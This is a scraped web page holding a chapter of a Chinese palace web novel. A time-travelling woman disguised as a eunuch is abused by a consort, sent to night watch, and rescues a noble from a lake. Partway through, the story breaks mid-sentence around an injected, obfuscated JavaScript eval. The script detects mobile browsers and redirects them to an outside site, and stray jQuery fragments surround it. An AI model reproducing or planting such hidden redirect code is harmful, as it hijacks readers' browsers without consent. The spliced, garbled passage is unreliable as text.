默认冷灰
24号文字
方正启体

1. 人生就是起落落落落

作者:下乡难本书字数:K更新时间:
    夏日余热已散,秋风吹起林间树丛,大地萧瑟卷起尘土又被压下。


    巍峨的宫殿被簇拥着屹立在平原之间,高堂庙宇在浅雾中也不失色彩,红墙绿瓦留不住四季轮换,就算是金碧辉煌的皇宫深秋之中也难免孤寂。


    尘埃终将落地,过往的动荡随着新帝登基逐渐安稳,一切都随云烟消拭。


    新皇忙于朝政,后宫琐事无多余心思看顾,后宅如花似玉的美人在无聊中难免吵闹。


    皇宫幽静小院,安嫔小主曾深得陛下宠爱,如今陛下冷落。住在偏远的院子,里屋深色木质器具有些褪色,摆着的瓷瓶器物也是老气的旧物。


    青色瓷瓶插着花卉,深秋时节开得不好,看着蔫蔫的。


    褪色帷幔随着过堂风轻荡,殿内未曾焚香,隐隐约约之中有些木质腐烂的气味。


    坐在上首娘娘端详着手里一只无色玉镯,鬓发梳在脑后,发间簪着时兴花卉,看着倒朴素。


    “她又是个什么东西,家世容貌皆不如我。拿着这样一个上不得台面的东西折辱我。”娘娘将手里的玉镯放在桌面上,端起旁边放凉的茶水。


    “小主慎言,仔细隔墙有耳。”身边的老妇弯着身子轻声提醒。眼神有意无意的瞥向跪在门口的太监。


    安嫔顺着嬷嬷的目光看去,就看见斜跪在门口羸弱干瘪的小太监,像只鹌鹑似的扎着脑袋,一副丧气样。


    “也不知谁屈了他,做一副丧气样做给谁看!你和你那把你像烂瓜蔫菜一样扔过来的主子一样,低贱下流的东西。”安嫔皱着眉,将手里的茶盏放下,“给我滚出去!”


    被怒斥的太监浑身一颤,如梦初醒,她昨晚值了晚班,按理来说应该回到下人房休息,但她才来这不足半月,又是主子死对头让她代为管教的,自然不待见,连带着下头的大太监也不给他安排住所。


    这半个月在柴房休息,今日大太监发懒,打发她继续当差。


    一不小心睡着,迷迷糊糊爬起来时跌了一跤,沈薇屁股疼的够呛。


    这迟钝的样子更是惹恼了安嫔,她抓起桌上摆放的瓷茶盏,朝着沈薇直直砸了过去。


    茶盏在她身边碎裂,碎裂的瓷片顺着半烫的茶水四溅。巨大的声响吓得令她立马清醒过来。


    “奴才该死”。沈薇身体本能让她立刻的磕头请罪。


    还没等反应过来,站在小主身边的老嬷嬷便来到沈薇跟前,照着沈薇胸口就是一记窝心脚。


    沈薇又被踹倒在地,疼的冷汗直流,却连抬头都不敢。


    “你个蠢奴才,小主叫你走远些你当听不见。”老嬷嬷一把揪起沈薇的耳朵,想将她带出去。


    “慢。”坐在上位的小主出声。


    老嬷嬷也听话收手站在一边。嬷嬷身着棕色褙子,腰间系着兰花香囊。跪在旁边的沈薇则是卑躬屈膝,发皱偏大的宫服单薄到只是出来一层细汗便粘在身上。


    “怎么,还要我收拾呀。”安嫔慢慢起身,居高临下的看着沈薇。


    沈薇愣了一下,开始一点一点将地上的碎瓷片捡起。木质地板无人维护有些缩水,木头的接缝处很大,碎瓷片掉在里面有些难清理。


    “我记得,你是罪臣沈从双的嫡子是吧。”安嫔一脸讥讽的看着跪在地上一点一点捡瓷片的沈薇。


    沈薇闭着眼睛,心里苦呀,如果她真的享受过沈家的荣华富贵就算了,而且他也不是嫡子,原主本是龙凤胎,对外只说只有一位公子,如今公子也跑了,留下沈薇这个妹妹替他当差。


    “你们沈家当年好不威风,骑在我安氏头上赫赫扬扬活龙一般,那林妃想拿你来折辱我,可惜了。哎呀~瞧瞧现在,一条丧家犬。”安嫔用手绢捂住鼻子一脸嫌弃的看着沈薇。


    沈薇不知道怎么回答,只能轻声的说了句:“奴才那时还小,印象不深。”


    “我也不同你争,你和昨日她赏我的镯子一样,低贱下流,我看一眼都觉得恶心。就和他一起滚出去吧。”安嫔捂着鼻子,退后一步,将手里的镯子猛地往地上一掷。


    镯子接触到地面上如同茶盏一样碎裂,碎片飞得更远,沈薇看着四散的镯子碎片,心里更苦了。


    “张嬷嬷,喊内务府的人来,就说这奴才打碎娘娘赐下的镯子,实在是留不得,按宫规处置吧。”安嫔扶了扶发髻,一脸平静的踩着沈薇的手走了出去。


    嬷嬷微微俯身,跟着小主出去。留下沈薇一个人捂着手跪在原地。


    沈薇的手腕被踩得猛地一疼,掌心被瓷片刺入,好在伤的不深,艳红的鲜血顺着伤口流出,沈薇不敢让鲜血滴在地上,只能胡乱的擦在身上。


    宫装很薄,擦不了多少血,这一下糊上去染红一大片。


    瓷片扎的不深,这副身体比较瘦弱血管要浅些,看着吓人,但寻点草木灰,洗净伤口后那个软布包裹一下,自然就好了。


    沈薇原刚穿越过来的的时候,这具身体只有十八,以至于在现代记忆也只有十八,在这世界待了两年,现代记忆也想起来不少。


    沈薇高中之后考上医学院,现在的记忆持续到医学院大二。


    看着手上的伤口自然知道该怎么办,将瓷片包好之后,弱弱的起身。


    手上伤口不打紧,若是再叫人抓住把柄再罚一顿就不好了。


    手掌上捧着那叠碎片,血液顺着指尖流出,又不敢让血滴在地上,只能护在胸前,任由身上穿的宫服将血截下。


    打算先去柴房换身衣服,这一身血迹斑斑实在是不好看。


    刚出门迎面对上返回的嬷嬷,嬷嬷一脸厉色,头发规规矩矩的梳好盘在脑后。面无表情的看着沈薇。


    “小主不留你,收拾东西,随我走吧。”老嬷嬷常年弓着身子,现在已经直不起来了,弯着身子带着沈薇离开。


    属于沈薇的东西并不多,这两年含辛茹苦的当太监也没赚多少银子,一个小包袱足以装下她所有的东西。沈薇简单处理了手上的伤口,伤口不大,只是刺的深些,这种伤最容易好了。


    沈薇从这不大的小院离开,走在宫道上,身上的血迹开始慢慢氧化,开始变成棕色,浑身血腥味实在是难闻。铁锈中带着腥味,沈薇的宫服也因为粘血慢慢变硬。


    沈薇叹了一口气,抬头看着宫道的一线天空,觉得被赶出去也挺好的,就算是刷马桶扫宫道也比在那小院子里天天被那些人折腾强。


    刚拐过朱红宫墙,就撞见一队仪仗往这边来,四抬的仪仗后头跟着一队下人。排场这么大的宫里也没几个了。


    沈薇背过身站好,她一个太监自然是没资格盯着娘娘看。


    预想的擦肩而过并未发生,反而是停在了沈薇身后。


    坐在轿上的娘娘抬手示意停下,四人抬着的彩杖停在青石路上发出响声,身边丫鬟捧着的香炉焚香传入沈薇的鼻子里。这香味应该是林妃娘娘的吧。


    就是她费尽心力打听沈薇,居心叵测的将她塞进安嫔的宫里。


    “这不是安嫔宫里的张嬷嬷吗,这是要去哪?”站在娘娘身边的小宫女询问道。


    张嬷嬷微微躬身行礼:“见过林妃娘娘,奴才宫里的小太监打碎娘娘赐的玉镯,实在是顽劣,正要送去慎刑司呢。”


    坐在娇子上的娘娘斜着眼打量了一下跪在墙边面对墙壁的沈薇。


    只见沈薇一个身材瘦弱的小太监正满身的鲜血,脸色苍白,摇摇欲坠的跪在那里。


    林妃冷笑一声,并未言语,示意起轿。


    四人起轿,抬着林妃慢慢走出视线。直到娘娘转弯不见踪影,两人才起身。


    张嬷嬷脸色很不好,叹了口气继续若无其事的带着沈薇走。


    到了慎刑司,嬷嬷的工作完成,和主管太监耳语几句便离开了,留下沈薇一人在慎刑司里不知所措。


    管事太监见沈薇这一身的凄惨模样一脸鄙夷,犯错被主子罚下来的太监宫女多半没什么好下场。


    沈薇倒也不是那不懂事的,从包袱里掏出一两碎银子递到了管事太监的手上。


    只见对面之人一下喜笑颜开:“也不算什么大事,但是你这笨手笨脚的,再叫你去伺候贵人是不可能了,随我来吧。”


    管事太监将沈薇领到通铺,“御花园少个守夜太监,你换上新宫装休整一下,戌时会有太监引你去守夜。”


    管事太监递给沈薇一套看着脏兮兮气味也不好闻的新宫装,转身离开。


    太监住的屋子味道不好闻,歪腿发霉的桌子,掉色干裂的柜子杂乱的堆放着私人物品,通铺上码放着整理好的被窝,不过味道也不算好闻。


    沈薇也管不了那么多了,趁着没人赶忙换下带血的衣裳,换上干净的中衣,穿上新的宫服躺在床上闭上眼休息。


    沈薇躺在炕上,心里盘算着现在的处境,如今攒的钱也没有多少,来到了这人多眼杂的大通铺,往后的日子只怕是更加艰难。


    沈薇一天一夜未曾合眼,还未思考多久,便支撑不住睡着了


    迷迷糊糊之间,沈薇用梦到了自己现代的新记忆,看着应该是一个暑假,沈薇又回到了现代她独自居住的小院子里。


    院子里的柿子树正是开花的时候,藏在叶子下的白色小花开的正好,沈薇还是学生,正抱着一本书躺在院子里的检查晒的中药。


    这药不便宜,处理好之后卖个药商也能赚不少钱。这样多品相好的药材,能抵得上沈薇半个月的学费了。


    正美着,便听到了一阵不属于梦境的声音。


    “喂!姓沈的,到你换班了!”


    粗鲁的太监伸出手来抓她,沈薇猛地惊醒,避开他的胳膊,整理衣裳,快步跟上引路的小太监往御花园走。


    为首的太监小声碎碎念御花园值夜的规矩,沈薇一条一条往心里记,怎么看来这也算是个闲职。这可比在宫里小心翼翼端茶送水的强多了。


    “听说陛下发怒,将欢漆阁的那位训了一顿,听着还要禁足呢。”身后的小太监轻声言语。


    沈薇听到这个耳朵竖了起来,她不是刚离开欢漆阁一天嘛,错过了什么?


    “我听说好像是因为一点小事把手底下的太监打得半死,被林妃娘娘撞个正着,当天下午禁足的命令就下来了。”另一名太监也轻声说。


    “该,我们太监也是人...”


    再往后的话沈薇就听不清了,她守夜的位置是最偏的,其他人早已离队到达目的地。只有沈薇还跟着领队往前走。


    不过...那个被打的半死的小太监不会就是她自己吧?


    “就是这里了,丑时结束,回去之前将落叶打扫干净。”带路的太监说完便离开。


    夜色温柔,虽是满天乌云不见光亮,但御花园的景色也着实美丽。


    没了高耸围墙巍峨宫殿挡住的天空,能看见完整的天空。


    虽是深秋,但仍有花卉开放,点缀在花丛中在夜色照射下倒是别有一番韵味。


    沈薇拿着扫把坐在墙边,今天云多夜色不好,不过以后值夜班估计就可以看见满天繁星了。


    这种惬意的想法并没有持续多


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555150|204423||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    久,满天的乌云自会给出他的答案。


    暮色中,乌云压顶,吹气一阵凉风,伴随着雨滴低下,半夜的雨来的急,不出一会滴滴小雨便成了滂沱大雨。


    沈薇第一天当差自然是没带雨具的。只能讲扫把举到头顶蹲在树下避雨。


    这里不似宫殿内只有砖瓦,反而更多的是滴在树叶上草地上,听着声音比宫殿内的吵闹些。


    沈薇叹了口气:“我还以为老天爷放过我了,结果是换招了。”


    满天的大雨落下,沈薇蹲在树下也不敢乱动,只能在心里祈祷雨快停下。


    “让我回去吧…”突然一道听的不算清楚的声音传来。


    沈薇吓了一跳,刚刚领队的太监不是说这里半夜只有守夜太监能进御花园嘛。


    那声音听不清楚男女,甚至有些分不清是人是鬼。


    沈薇没记错的话,这里是最偏僻的地方,走到最后领队太监连个灯笼都没给沈薇留。


    沈薇闭着眼睛,努力的屏蔽刚刚那轻飘飘阴森森的话。


    就当是自己听错了。


    人说话的声息确实再未传来。


    “噗通”——有什么重物落进了湖里?


    沈薇起身,往身后的小湖看去,就看见在不远的岸边一个人脑在正沉沉浮浮。


    御花园的湖水一直都是在无风的状态下一直说平静的。湖里的人奋力向湖中心挣扎。推起涟漪一眼望过去尤为明显。


    湖面上沉沉浮浮的头上点缀着金色的首饰,在黑夜里尤为显眼。


    有人跳河了!


    沈薇暗道不好,她第一天上班若是闹出人命沈薇有几个脑袋也不够砍的。


    顾不得多想,她一头扎进水里,冰冷的湖水透过宫服渗进来顺着沈薇的脊背。寒意渗透全身,她尽可能游的快些,奔着湖里的贵人摸去,手上包扎的伤口,入水便有些刺痛,触碰到漂浮的衣料时格外明显,沈薇顺着衣料顺藤摸瓜的找寻着落水人的踪迹。


    优先触碰到的是那人簪在头上的钗环,那人似乎是感受到了来者,不但没有顺着沈薇的动作,反而是更加剧烈的挣扎,这贵人似乎铁了心要求死,沈薇暗觉不好,任由她挣扎,说不定要被她拖着一起死。


    水里视线本就不明朗,沈薇一用力,那人身上的锦缎拔下,想着军训时学过的救生操作,一只胳膊钳制住贵人扁平宽阔的胸膛,勒紧她,将她往岸上带。


    那人挣扎不过,被沈薇拖出了水面。


    拖拽着将人带到岸边,还没来得及大口呼吸,滂沱的雨劈头盖脸砸下来,沈薇呛了两口冷风,忍不住打了个哆嗦。


    被带到岸上的人趴伏着,咳嗽不断。


    沈薇缓过神打算起身,怀里被她拽下来的那支金钗滚落在草地上,无声的落在地上。她捡起来就着微弱的天光扫了一眼,差点没失手又掉下去。


    簪身是一根白玉被金丝花钿包裹着,现在已经碎裂,被金丝禁锢着还能维持原形,簪头是点翠烧蓝的枝叶,还镶嵌着一颗看着克数不小的红宝石。


    如此昂贵的簪子此刻簪身碎裂,正静静的躺在沈薇的手心。


    “主子,您这簪子...”沈薇叹了口气,跪在地上将簪子恭恭敬敬的递出去。


    那人缓和后,看着沈薇手里的簪子,气若游丝:“赏你了。”那人语气很平静。


    沈薇倒是松了一口气:“谢主子。”


    沈薇轻轻抬头,借着夜色打量着面前之人。


    此刻,他正披散着头发,端端正正地跪坐在草地上,身上的衣料尽湿,面料上好的紫色裙子配着黑金斗篷此刻乱糟糟的。


    一头乌黑的秀发也搭在肩膀上。正在下雨,那人脸色苍白,水滴滴在他姣好的面容上,倒真是一位病西施。


    “名字。”那人才说这一句,便低低地咳嗽起来,美人眉头轻蹙,捂着胸口。


    沈薇低着头,心里思索着就这样说出来会不会引火烧身。


    像这样的主子,沈薇应该是不配与他接触的。


    “小的叫雷锋。”沈薇跪在地上,脑子一热回答了另一个答案。


    蹲坐在地上的人,一脸无语的想抬头看他。


    “罢了,退下吧。”那人抬手要沈薇退下,沈薇也识趣的往回退。


    手里攥着那根造价不菲的簪子心里喜不自胜。


    抱着手臂小跑回给值夜太监准备的小亭子里,蹲在地上细细打量着手里的簪子。


    雨还没停,浑身上下没有一块干地方,深秋的夜冷风大。全身湿透再混着冷风一吹,实在是扛不住。


    沈薇个子小,裹在较大的宫服里,风一吹,冷风就会从领口里灌进来。只能蹲在地上抱成一团取暖。


    腰间一直有一个硬硬的东西硌得慌,沈薇慢慢摸索着。本以为是湖里的树枝卡在腰带,结果掏出来一只金手镯。


    “还有意外奖励呢!”沈薇拿在手里,镯子沉甸甸拿在手上分量不轻。


    此刻她手里正攥着两件沉甸甸的金首饰:“这簪子都随便赏人了,这镯子应该也不会那么在意的吧。”


    沈薇回头看去,湖边的人早已了踪迹,风吹湖面,涟漪轻荡,好像刚刚什么事情都没有发生。


    沈薇拿着那只金镯子看了许久,心里忍不住犯嘀咕,这镯子的款式好像是现代用激光才能打出来的碎冰冰,原来古代就有了吗?看着和激光打得差不多,也是亮闪闪的。


    穿越来这么久,总算是有了些能让沈薇开心地事情了。


    这日子总算有点盼头了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)